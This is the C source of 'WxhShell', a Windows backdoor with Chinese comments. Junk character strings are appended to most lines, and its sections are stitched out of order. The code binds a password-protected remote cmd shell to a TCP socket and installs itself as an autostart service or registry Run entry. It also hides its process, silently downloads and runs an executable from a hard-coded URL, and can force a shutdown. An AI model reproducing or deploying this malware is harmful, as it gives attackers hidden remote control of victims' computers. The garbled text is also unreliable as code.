  case 'd': { |i jW_r  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _r^G%Mvy|  
    if(Boot(SHUTDOWN)) ]ys4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gPn%`_d5  
    else { 4B%5-VQ  
    closesocket(wsh); 8=b{'s^^F  
    ExitThread(0); A@lhm`Aa  
    } ACMpm~C8Gu  
    break; 8O}A/*1FJ  
    } &)/H?S;yN  
  // 获取shell 3w6J V+?  
  case 's': { @/Wty@PU  
    CmdShell(wsh); -6*OF.Ag`  
    closesocket(wsh); 8M5!5Jzv  
    ExitThread(0); U(=f5|-  
    break; (&a3v  
  } \5v=pDd4g  
  // 退出 cfQh  
  case 'x': { M2;(+8 b  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); J,&`iL-  
    CloseIt(wsh); ) J:'5hz  
    break; Uzm[e%/`  
    } )x5$io   
  // 离开 "m\UqQGX  
  case 'q': { lMI ix0sSj  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); eo}S01bt  
    closesocket(wsh); ^me}k{x  
    WSACleanup(); OM#OPB rB  
    exit(1); !ktA"Jx  
    break; UO7a}Tz<  
        } Iu)(Huv  
  } d5Eee^Qu/  
  } `)xU;-  
zMHf?HQ-Z  
  // 提示信息 <aQ; "O~   
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M<|~MR  
} 1\7"I-  
  } \!4ghev3  
PxCl]~v  
  return; M,v@G$pW  
} VNh,pQ(  
[F9KC^%S  
// shell模块句柄 N!4xP.Ps  
int CmdShell(SOCKET sock) iTtAj~dfZ  
{ Aj)< 8  
STARTUPINFO si; f%"_U'  
ZeroMemory(&si,sizeof(si)); O7#}8-@}<u  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; bQnwi?2  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; F.* snF  
PROCESS_INFORMATION ProcessInfo; (J) Rs`_  
char cmdline[]="cmd"; ezNE9g  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); xF:poi  
  return 0; zI*/u)48  
} K]=>F  
wW)&Px n  
// 自身启动模式 m6ZbYF-7W  
int StartFromService(void) ZJJl944  
{ ,uD*FSp>  
typedef struct   } k%\  
{ ~IN$hKg^  
  DWORD ExitStatus; yP=isi#dDY  
  DWORD PebBaseAddress; qytGs@p_  
  DWORD AffinityMask; a\ 2Myj  
  DWORD BasePriority; K5c7>I%k  
  ULONG UniqueProcessId; 5['B- Iw  
  ULONG InheritedFromUniqueProcessId; O|g!Y(  
}   PROCESS_BASIC_INFORMATION; KzH}5:qI  
RX<^MzCDV  
PROCNTQSIP NtQueryInformationProcess; JNz"lTt>[g  
{II7%\ya  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; YF[!Hpzq  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; b<H6 D}  
bz,cfc;?$  
  HANDLE             hProcess; !`S%l1[Z  
  PROCESS_BASIC_INFORMATION pbi; #5"<.z  
keq[ 6Lv  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");  f"=4,  
  if(NULL == hInst ) return 0; SJuf`  
TH}ycue  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 7!840 :a?+  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); D8Waf  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \?ws0Ax  
X52jqXjg  
  if (!NtQueryInformationProcess) return 0; 4lKbw4[a  
%'~<:>:"E  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ~v,KI["o  
  if(!hProcess) return 0; Z 5YW L4s  
8`*9jr  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; V6!73 iY  
"aO,  
  CloseHandle(hProcess); KUqS(u  
)p_LkX(  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); gB{R6 \<O  
if(hProcess==NULL) return 0; T_B.p*\BM  
tMk>Bx9[  
HMODULE hMod; D]`B;aE>A*  
char procName[255];  O,,n  
unsigned long cbNeeded; *B~:L"N  
v{*X@)$  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _G*x:<  
3g "xm  
  CloseHandle(hProcess); pnw4QQ9  
S^"e5n2  
if(strstr(procName,"services")) return 1; // 以服务启动 z00:59M4  
{%k;V ~  
  return 0; // 注册表启动 $0C/S5b  
} r[4F?W  
9: |K]y  
// 主模块 $YQ&\[pDA  
int StartWxhshell(LPSTR lpCmdLine) O]LuL&=s y  
{ S<9d^= a  
  SOCKET wsl; l@F e(^5E  
BOOL val=TRUE; i/EiUH/~  
  int port=0; ik NFW*p  
  struct sockaddr_in door; A,[m=9V  
RV*Zi\-X  
  if(wscfg.ws_autoins) Install(); PC7.+;1  
)Ua2x@j'C@  
port=atoi(lpCmdLine); z4+6k-#):  
p00Bgo  
if(port<=0) port=wscfg.ws_port; =F-^RnO%\  
Ln%_8yth  
  WSADATA data; 10a*7 L  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @Lv_\^2/}  
j1CD;9i)%  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   {O oNhN9  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); toZI.cSg4  
  door.sin_family = AF_INET; n#'',4f  
  door.sin_addr.s_addr = inet_addr("127.0.0.1");  Kj|F  
  door.sin_port = htons(port); % +"AF+c3r  
k GeME   
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { utS M x(  
closesocket(wsl); KgAX0dM  
return 1; 0A 4|  
} X}FF4jE]D(  
,#;ahwU~s  
  if(listen(wsl,2) == INVALID_SOCKET) { IL"#TKKv  
closesocket(wsl); H)fo4N4ii  
return 1; )_.H #|r  
} O5*uL{pvT{  
  Wxhshell(wsl); =YsTF T  
  WSACleanup(); HON[{Oq  
54j $A  
return 0; 6oBt<r?CJ  
<aD+Ki6  
} `7n,(  
u"|nu!p`  
// 以NT服务方式启动 `8bp6}OD,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) xEWa<P#.u  
{ 5h7DVr!  
DWORD   status = 0; bu5)~|?{t  
  DWORD   specificError = 0xfffffff;  #7"5Y_0-  
] CE2/6Ph  
  serviceStatus.dwServiceType     = SERVICE_WIN32; mW9b~G3k  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 6)j4 TH  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ^Wz{su2  
  serviceStatus.dwWin32ExitCode     = 0; yYtki  
  serviceStatus.dwServiceSpecificExitCode = 0; EwZt/r  
  serviceStatus.dwCheckPoint       = 0; Kg6 7cmj)f  
  serviceStatus.dwWaitHint       = 0; dju{&wo~4  
FKm2slzb  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); "t`e68{Ls  
  if (hServiceStatusHandle==0) return; V1qHl5"  
<v^.FxId  
status = GetLastError(); -e\kIK %  
  if (status!=NO_ERROR) ~WLsqP5Y~a  
{ lV="IP^7  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; J>v>6OC6i  
    serviceStatus.dwCheckPoint       = 0; htlWC>*  
    serviceStatus.dwWaitHint       = 0; 'z5 ;o :T  
    serviceStatus.dwWin32ExitCode     = status; 2*FZ@?X@r  
    serviceStatus.dwServiceSpecificExitCode = specificError; 3=I Q  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); C@W0fz  
    return; 5toNEDN  
  } 46`{mPd{aO  
a]ey..m  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; T^>cT"ux_  
  serviceStatus.dwCheckPoint       = 0; gI{F"7fa=  
  serviceStatus.dwWaitHint       = 0; `-2`UGB-  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); zg"ZXZ  
} 5%/%i}e~(  
2 ARh-zLb  
// 处理NT服务事件,比如:启动、停止 3Mt6iZW  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 4B(qVf&M  
{ BpE[9N  
switch(fdwControl) ?2c:|FD  
{ D=]P9XDvb.  
case SERVICE_CONTROL_STOP: |.yRo_  
  serviceStatus.dwWin32ExitCode = 0; 2US8<sq+  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; K~G^jAk+  
  serviceStatus.dwCheckPoint   = 0; 0\A[a4crj  
  serviceStatus.dwWaitHint     = 0; s5@^g8(+C  
  { W;W\L? r  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !;oBvE7Kh  
  } 7c7SU^hD  
  return; GM~jR-FZ  
case SERVICE_CONTROL_PAUSE: ::w%rv  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; kY&j~R[C  
  break; :l{-UkbB  
case SERVICE_CONTROL_CONTINUE: W=+ag<@  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; SM?<woY=*  
  break; I.x>mN -0  
case SERVICE_CONTROL_INTERROGATE: %/p5C  
  break; 1+zax*gO-  
}; wvY$ s;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); T8k oP  
} nMqU6X>P!  
NU"X*g-x^  
// 标准应用程序主函数 Zs)9O Ju  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) S7]cF5N  
{ *2Kte'+q  
oizoKwp%  
// 获取操作系统版本 Dc5XU3Eu`  
OsIsNt=GetOsVer(); T%F'4_~No  
GetModuleFileName(NULL,ExeFile,MAX_PATH); gUl Z cb  
E.brQx#}  
  // 从命令行安装 ygG9ht  
  if(strpbrk(lpCmdLine,"iI")) Install(); ektFk"W3A\  
r\?*?sL  
  // 下载执行文件 EhoR.  
if(wscfg.ws_downexe) { UlR7_   
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 2t%)d9r32  
  WinExec(wscfg.ws_filenam,SW_HIDE); Q&7Qht:ea:  
} nLQJ~("  
pw .(6"  
if(!OsIsNt) { QaV*}W  
// 如果时win9x,隐藏进程并且设置为注册表启动 ~V4|DN[I  
HideProc(); [aW#7  
StartWxhshell(lpCmdLine); -!" 8j"pA:  
} B Xp3u|t  
else J2-xnUa]7  
  if(StartFromService()) 8vCHH&`  
  // 以服务方式启动 :.^{!  
  StartServiceCtrlDispatcher(DispatchTable); D!CGbP(  
else OXo-(HLE  
  // 普通方式启动 @g{ " E6  
  StartWxhshell(lpCmdLine); uM$=v]e^ 4  
W\/0&H\i  
return 0; AkF3F^  
} *niQ*A  
5 ,HNb  
1RLSeT  
1JY4E2Q  
=========================================== @%K 8 oYK  
m`|+_{4[n  
o3yZCz  
Wl{Vz  
uPpP")  
6+>rf{5P7  
" ;Ti?(n#M>  
`|4{|X*U.  
#include <stdio.h> 6FfDif  
#include <string.h> Sq,x@  
#include <windows.h> .%o:kq@B  
#include <winsock2.h> NGxuwHIQ8  
#include <winsvc.h> B dSTB"  
#include <urlmon.h> 5|Uub ,  
X~0P+E#  
#pragma comment (lib, "Ws2_32.lib") {u7E)Fdl  
#pragma comment (lib, "urlmon.lib") p[RD[&#b  
B{Rig5Sc  
#define MAX_USER   100 // 最大客户端连接数 iJcl0)|  
#define BUF_SOCK   200 // sock buffer rW6LMkt72  
#define KEY_BUFF   255 // 输入 buffer $JOIK9+3z#  
@-wAR=k7  
#define REBOOT     0   // 重启 X^?-U ne  
#define SHUTDOWN   1   // 关机 a&&EjI  
*i|hcDk  
#define DEF_PORT   5000 // 监听端口 W`KkuQ4cM  
m1TPy-|1  
#define REG_LEN     16   // 注册表键长度 qsLsyi|zG  
#define SVC_LEN     80   // NT服务名长度 r&#q=R},p  
dg-pwWqN  
// 从dll定义API zx^)Qb/EL6  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); IQ\`n|  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 7Sokn?~i  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ~V<je b  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ;^;5"n h  
Zhw _L  
// wxhshell配置信息 &{8 "- dw  
struct WSCFG { 7+0hIKrFC  
  int ws_port;         // 监听端口 Z]aSo07  
  char ws_passstr[REG_LEN]; // 口令 YWTo]DJV  
  int ws_autoins;       // 安装标记, 1=yes 0=no McfSB(59  
  char ws_regname[REG_LEN]; // 注册表键名 m<j ^cU#J  
  char ws_svcname[REG_LEN]; // 服务名 \.{?TB  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 zMDR1/|D  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 tW(E\#!|p<  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Z"P{/~HG  
int ws_downexe;       // 下载执行标记, 1=yes 0=no @9^kl$  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" :x_l"y"  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 W1#3+  
{T$;BoR#O  
}; y jb.6  
d;f,vN(  
// default Wxhshell configuration 0FXM4YcrJO  
struct WSCFG wscfg={DEF_PORT, bw@tA7Y  
    "xuhuanlingzhe", *H;&hq  
    1, SN11J+  
    "Wxhshell", lcih [M6z  
    "Wxhshell",  /8.;  
            "WxhShell Service", ;$nK ^  
    "Wrsky Windows CmdShell Service", m^`X|xK-  
    "Please Input Your Password: ", OuX/BMG  
  1, j,Mp["X&  
  "http://www.wrsky.com/wxhshell.exe", 7I HWj<  
  "Wxhshell.exe" Drg'RR><  
    }; W2REwUps  
p_qH7W  
// 消息定义模块 1wwhTek  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ^  K/B[8  
char *msg_ws_prompt="\n\r? for help\n\r#>"; `W"-jz5#=  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; $ \jly  
char *msg_ws_ext="\n\rExit."; &98qAO]Z  
char *msg_ws_end="\n\rQuit."; F M`pPx  
char *msg_ws_boot="\n\rReboot..."; n 6oVx 5/  
char *msg_ws_poff="\n\rShutdown..."; |ek*wo  
char *msg_ws_down="\n\rSave to "; qoOHWh&  
VGTo$RH  
char *msg_ws_err="\n\rErr!"; b\}`L"  
char *msg_ws_ok="\n\rOK!"; "|f;   
e7<~[>g)  
char ExeFile[MAX_PATH]; A=BpB}b  
int nUser = 0; T%Z`:mf  
HANDLE handles[MAX_USER]; jAF DkqH  
int OsIsNt; 3n X7$$X  
ctj.rC)6n  
SERVICE_STATUS       serviceStatus; j+s8V-7(  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; u6I# D _  
C}45ZI4  
// 函数声明 vG<Mz?wr  
int Install(void); .3$iOMCH  
int Uninstall(void); N#|c2n+  
int DownloadFile(char *sURL, SOCKET wsh); /bg8oB4  
int Boot(int flag); 2H4+D)  
void HideProc(void); N:=D@x~]  
int GetOsVer(void); <OpiD%Ctx  
int Wxhshell(SOCKET wsl); u K 8 r  
void TalkWithClient(void *cs); .2OP>:9F  
int CmdShell(SOCKET sock); 0(teplo&P  
int StartFromService(void); OS,-dG(  
int StartWxhshell(LPSTR lpCmdLine); Rnj2Q!C2  
6Bs_" P[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); F*} b),  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); A*W QdY  
AX[/S8|6  
// 数据结构和表定义 =$f xK  
SERVICE_TABLE_ENTRY DispatchTable[] = Jg^tr>I~  
{ I#9A\.pO  
{wscfg.ws_svcname, NTServiceMain}, gm4-w 9M[p  
{NULL, NULL} ^]OD+v  
}; ~d28"p.7  
z.#gpTXD  
// 自我安装 DAJh9I  
int Install(void) 2N`Vx3  
{ vrh}X[JEw'  
  char svExeFile[MAX_PATH]; uPb9j;Q?  
  HKEY key; tWD*uA b  
  strcpy(svExeFile,ExeFile); VM|8HR7U  
T7&itgEYG/  
// 如果是win9x系统,修改注册表设为自启动 {_PV~8u  
if(!OsIsNt) { *j8w" 4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %J3#4gG^v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); hnL(~  
  RegCloseKey(key); kf^Wzp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { H~&9xtuHN  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I5PaY.i  
  RegCloseKey(key); >(*jL  
  return 0; lAV6z%MmM  
    } ptYQP^6S[  
  } 3K P6M=  
} $  5  
else { Z5_MSPm  
>L)Xyq  
// 如果是NT以上系统,安装为系统服务 v||8Q\d  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); (eG#JVsm9  
if (schSCManager!=0) C'kd>LAGu  
{ l{vi{9n)  
  SC_HANDLE schService = CreateService w ~Es,@  
  ( "0n to+v  
  schSCManager, a!4'}gHR  
  wscfg.ws_svcname, SC"=M^E  
  wscfg.ws_svcdisp, qDOx5.d  
  SERVICE_ALL_ACCESS, H#G'q_uHH  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , PJ9JRG7j  
  SERVICE_AUTO_START, H?M8j] R-)  
  SERVICE_ERROR_NORMAL, r's4-\  
  svExeFile, 7RTp+FC]  
  NULL, dAohj QH:  
  NULL, d(42ob.Tr  
  NULL, O" n/.`  
  NULL, P#"vlNa  
  NULL %F1 Ce/  
  ); 7teg*M{  
  if (schService!=0) dorZ O2Uc  
  { <eb>/ D  
  CloseServiceHandle(schService); yAXw?z!`O  
  CloseServiceHandle(schSCManager); <c^m |v  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); f`P%aX'cBQ  
  strcat(svExeFile,wscfg.ws_svcname); DYbkw4Z,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { &\`=}hB  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &`0heJ 5Yn  
  RegCloseKey(key); N^CD4l  
  return 0; /3'>MRzR  
    } WZ;f3 "  
  } .u)Po;e`  
  CloseServiceHandle(schSCManager); pgfI1`h  
} tb^3-ZUb  
} XEY((VL0  
zEpcJHI%  
return 1; 9kQ~)4#  
}  ,`)!K}2  
Sh}AGNE'  
// 自我卸载 GYyP+7K4l[  
int Uninstall(void) r4D6g>)h1q  
{ l^WFMeMD3a  
  HKEY key; xsV(xk4  
$yHlkd`Y  
if(!OsIsNt) { s0qA8`Yu  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2y v'DS  
  RegDeleteValue(key,wscfg.ws_regname); UACWs3`s+  
  RegCloseKey(key); qGr(MDLc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Dm"GCV  
  RegDeleteValue(key,wscfg.ws_regname); E;9SsA  
  RegCloseKey(key); 7YkxIzE  
  return 0; n<y!@p^X  
  } ]7fqVOiOu  
} J'.U+XU  
} S_ e }>-  
else { V<?t( _Y  
sq\oatMw[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); j^ex5A.& &  
if (schSCManager!=0) x$?{)EY  
{  J$v0  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); wYOSaGyZ0I  
  if (schService!=0) [D^KM|I%+  
  { (KK9/k  
  if(DeleteService(schService)!=0) { 7P.C~,+D%P  
  CloseServiceHandle(schService); jx+%X\zokA  
  CloseServiceHandle(schSCManager); $:t;WXc.<  
  return 0; r,EIOcz:  
  } Z~9\7QJn  
  CloseServiceHandle(schService); |*e >hk  
  } OtrO"K  
  CloseServiceHandle(schSCManager); {xMY2I++  
} W,}HQ  
} =;i@,{ ~  
,ZC^,Vq  
return 1; l{E+j%  
} 5kofO  
oost}%WxN  
// 从指定url下载文件 ZS4lb=)G  
int DownloadFile(char *sURL, SOCKET wsh) { P&l`  
{ LTm2B_+  
  HRESULT hr; .UU BAyjm  
char seps[]= "/"; '&xv)tno  
char *token; K\`L>B. 1  
char *file; mflH&Bx9  
char myURL[MAX_PATH]; !/BXMj,=  
char myFILE[MAX_PATH]; ^$4d'  
4M}u_}9  
strcpy(myURL,sURL); F9^8/Z  
  token=strtok(myURL,seps); bYYyXM  
  while(token!=NULL) 3;u*_ ]N_  
  { w q% 4'(  
    file=token; >u4%s7 v  
  token=strtok(NULL,seps); CVyqr_n65/  
  } +>@<'YI<  
E dhT;!  
GetCurrentDirectory(MAX_PATH,myFILE); KE]!7+8-  
strcat(myFILE, "\\"); AVyqtztQ  
strcat(myFILE, file); wyMj^+ 2m  
  send(wsh,myFILE,strlen(myFILE),0); QyuSle  
send(wsh,"...",3,0); O\,n;oj  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); [u[F6Wst  
  if(hr==S_OK) hCQz D2  
return 0; KLGhsx35  
else ~B'K_#  
return 1; mA|!IhM  
`i<;5s!rX  
} j{C+`~O  
?H#]+SpOcv  
// 系统电源模块 4/e-E^  
int Boot(int flag) HW;,XzP=  
{ 82WXgB>  
  HANDLE hToken; [k ZvBd  
  TOKEN_PRIVILEGES tkp; 6'3@/.  
Qv,8tdx  
  if(OsIsNt) { #(mm6dj  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); U+3,(O  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); T@;z o8:  
    tkp.PrivilegeCount = 1; TyY[8J|  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; `7zz&f9dDX  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 6] <~0{  
if(flag==REBOOT) { A% 9TS/-p  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &B1d+.+  
  return 0; .3l'&".'  
} )2C_6eR  
else { g>_lU vSE  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) K, ae-#wgb  
  return 0; 0zCe|s.S&  
} "2o,XF  
  } HeZ! "^w  
  else { }#ZQ\[  
if(flag==REBOOT) { #/Y t4n  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \Lv eZ_h5  
  return 0; m64 6|G5  
} UQgOtqL3  
else { WBFG_])  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) u>Z;/kr  
  return 0; QKDY:1]  
} o>mZ$  
} kz\ D-b  
j(F&*aH78  
return 1;  O;h]  
} (9]`3^_,J  
,R5NKWo  
// win9x进程隐藏模块 <7fF9X  
void HideProc(void) ]1>U@oK  
{ :A%uXgK<k  
L:"i,K#P  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); J?&lpsB3_l  
  if ( hKernel != NULL ) 7d*SZmD  
  { Ml1yk)3G  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ER~m &JI  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 4J Bm|Pf(  
    FreeLibrary(hKernel); >Ip>x!wi  
  } Qctm"g|  
L!x7]g,^  
return; T%A45BE V  
} :[ z=u  
KY9sa/xO  
// 获取操作系统版本 q$`{$RX  
int GetOsVer(void) ]#]|]>& <  
{ NWd%Za5K;  
  OSVERSIONINFO winfo; + VE }c  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); qMD6LWJ  
  GetVersionEx(&winfo); *T' /5,rX2  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) u1s^AW8 y  
  return 1; kFZw"5hb  
  else PXof-W  
  return 0; h4N!zj[  
} o65:)z u  
{Hm0Q  
// 客户端句柄模块 u;18s-NY  
int Wxhshell(SOCKET wsl) %wn|H>  
{ %p6"Sg*  
  SOCKET wsh; [,e[~J`C  
  struct sockaddr_in client; m:CiXM   
  DWORD myID; i$gm/ZO  
,7,x9qE"  
  while(nUser<MAX_USER) 'yxRz5  
{ O3WhO@`6)  
  int nSize=sizeof(client); 0Aw.aQ~E8i  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); zc>/1>?M  
  if(wsh==INVALID_SOCKET) return 1; VRurn>y0  
L\_MZ*<0[  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); R`q*a_  
if(handles[nUser]==0) mk.:V64 >;  
  closesocket(wsh); +a_eNl,  
else vY0C(jK  
  nUser++; mJe;BU"y]  
  } /{Ksi+q  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); G{ ~pA4  
0 1<~~6A  
  return 0; 12BTZ  
} o?@,f/" 5  
~?4'{Hc'  
// 关闭 socket l&2A]5C  
void CloseIt(SOCKET wsh) 5RCQ<1  
{ c'B6E1}sx  
closesocket(wsh); T8+A`z=tSb  
nUser--; . #`lW7  
ExitThread(0); ;Nf5,D.D  
} rt)70=  
&^$dHr6v  
// 客户端请求句柄 aTF~rAne<  
void TalkWithClient(void *cs) t<s:ut)Q!  
{ zBD ?O!  
T;K,.a8bU  
  SOCKET wsh=(SOCKET)cs; rM<|<6(L  
  char pwd[SVC_LEN]; m-9{@kgAM?  
  char cmd[KEY_BUFF]; EEFM1asJf  
char chr[1]; E/z^~;KA  
int i,j; o5?f]Uq5 ,  
b)RU+9x &  
  while (nUser < MAX_USER) { ,{P*ZK3u  
#s'9Ydd  
if(wscfg.ws_passstr) { Wh6jr=>G  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); d7s? c  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); WtOpxAq  
  //ZeroMemory(pwd,KEY_BUFF); ,tJ%t#  
      i=0; dYV'<  
  while(i<SVC_LEN) { S~fURn  
KLD)h,]  
  // 设置超时 PhL}V|W>  
  fd_set FdRead; Q`k=VSUk  
  struct timeval TimeOut; ep`WYR|B  
  FD_ZERO(&FdRead); tj/X 7|  
  FD_SET(wsh,&FdRead); rUvjc4O}  
  TimeOut.tv_sec=8; .v;$sst5y  
  TimeOut.tv_usec=0; >a7'_n_o  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~Z-M?8:  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 6U[`CGL66  
t=M:L[bis;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C5oslP/@  
  pwd=chr[0]; sUA==k  
  if(chr[0]==0xd || chr[0]==0xa) { 9a}rE  
  pwd=0; <?UbzT7X  
  break; 1%~yb Q  
  } EUH&"8 L  
  i++; 1vKc>+9  
    } (n:d {bKV  
88(h`RGMh  
  // 如果是非法用户,关闭 socket h?E[28QB  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Gq%q x4  
} 3\_ae2GW  
KP{|xQ>  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); B1dVHz#  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7x` dEi<  
T\7z87Q  
while(1) { w@w(AFV9/  
i}teY{pyc  
  ZeroMemory(cmd,KEY_BUFF); |hBX"  
KW.*LoO  
      // 自动支持客户端 telnet标准   v5 STe`  
  j=0; 9}p>='  
  while(j<KEY_BUFF) { .?{rd3[ec  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xVk|6vA7  
  cmd[j]=chr[0]; ^uB9EP*P  
  if(chr[0]==0xa || chr[0]==0xd) { ?m.WqNBH7  
  cmd[j]=0; ~\_aT2j0  
  break; cojtQ D6  
  } (T;4'c  
  j++; ?/ xk  
    } JGQlx-qv  
M#o.$+Uh  
  // 下载文件 >i^8K U  
  if(strstr(cmd,"http://")) { On x[}x  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); zAT7 ^q^  
  if(DownloadFile(cmd,wsh)) wh4ik`S 1  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;UuCSfs{  
  else 7<{g+Q~7*  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~uy{6U{&I  
  } `x=W)o }  
  else { 2d:<P!B  
